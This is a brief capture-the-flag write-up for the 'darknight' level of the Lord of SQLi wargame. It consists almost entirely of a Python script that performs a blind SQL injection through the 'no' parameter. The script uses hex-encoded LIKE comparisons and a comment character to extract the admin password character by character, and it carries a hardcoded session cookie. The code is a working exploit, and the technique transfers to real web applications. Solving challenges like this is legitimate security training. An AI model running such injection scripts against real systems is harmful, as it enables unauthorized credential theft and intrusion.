[LOS] - darknight - 190825

1. darknight.py

import requests
 
URL = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
password = ''
index=0
strpassword= ''
while True:
        
        isit = False
        index += 1
        print('[+]Finding Password index : %d'%index)
        for i in range(0x26, 0x7f):
                # ?pw=a&no=1 OR id like 0x61646d696e and left(pw, 1) like 0x61 %23
                query = '1 OR id like 0x61646d696e and left (pw, {0}) like 0x{1}{2} \x23'.format(index, strpassword, hex(i).replace('0x', ''))
                
                paramDic ={
                        'pw':
                        'a',
                        
                        'no':
                        query
                        }
                print('[*]Sending Query : %s'%query)
                headers = {'Content-Type': 'application/json; charset=utf-8'}
                cookies = {'PHPSESSID':'2muj59itnd6qckah82g20p0sub'}
                
                response = requests.get(URL, params=paramDic, headers=headers, cookies=cookies)
                
                if "Hello admin" in response.text:
                        password += chr(i)
                        strpassword += hex(i).replace('0x', '')
                        isit = True        
                        print('[+]Find Password : %s Index : %d' %(chr(i), index))
                        break
        if isit is False:
                break
        
print('[+]Password : %s'%password)